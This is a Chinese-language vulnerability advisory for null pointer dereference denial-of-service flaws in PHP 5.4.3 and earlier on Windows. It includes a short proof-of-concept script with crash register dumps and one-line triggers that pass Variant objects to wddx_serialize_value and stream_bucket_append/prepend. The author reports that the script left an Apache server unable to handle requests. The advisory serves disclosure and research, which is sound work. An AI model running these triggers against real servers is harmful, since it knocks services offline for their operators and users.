PHP多个空指针引用拒绝服务漏洞
发布日期：2012-05-11
更新日期：2012-05-23
受影响系统：
PHP PHP 5.4.3
描述：
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BUGTRAQ ID: 53643
PHP是一种HTML内嵌式的语言，PHP与微软的ASP颇有几分相似，都是一种在服务器端执行的嵌入HTML文档的脚本语言，语言的风格有类似于C语言，现在被很多的网站编程人员广泛的运用。
PHP 5.4.3之前版本在实现时存在空指针引用导致的多个拒绝服务漏洞，攻击者可利用这些漏洞造成应用崩溃。
<*来源：condis
*>
测试方法：
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警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
<?php
/*
PHP <= 5.4.3 wddx_serialize_* / stream_bucket_* Variant Object Null Ptr Derefernce
Author : condis
Date : 10.04.2012 AD
Website : http://cond.psychodela.pl
----
Download : http://php.net/downloads.php
Tested on:
PHP 5.3.8 + Windows XP SP3 Professional PL
PHP 5.3.10 + Windows XP SP3 Professional PL
PHP 5.4.0 + Windows XP SP3 Professional PL
PHP 5.4.3 + Windows XP SP3 Professional PL
Description:
wddx_serialize_value and wddx_serialize_vars functions fails to handle Variant
object when it is given as a first argument.
Registers:
EAX 00000000
ECX 1056AAE8 php5ts.1056AAE8
EDX 100EFCE0 php5ts.100EFCE0
EBX 01032AB0
ESP 00C0FAE0
EBP 00000000
ESI 0121E478
EDI 0121CB50
EIP 1028F22E php5ts.1028F22E
Crash:
1028F22E 8A45 25 MOV AL,BYTE PTR SS:[EBP+25]
Situation looks pretty much the same for both wddx_serialize_vars and
wddx_serialize_value. Also functions stream_bucket_prepend and stream_bucket_append
have some problems with handling Variant object when given as a second argument:
stream_bucket_append(1, new Variant(1));
stream_bucket_prepend(1, new Variant(1));
PS : Variant object is only available in PHP for Windows OS and it was implemented
in PHP > 4.1.0 and PHP 5.
For more details check : http://php.net/manual/en/class.variant.php
PS2: After running this via webserver my Apache wasn't able to handle requests
anymore and I had to restart him :)
kthxbye
*/
wddx_serialize_value(new Variant(666));
?>
建议：
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PHP
---
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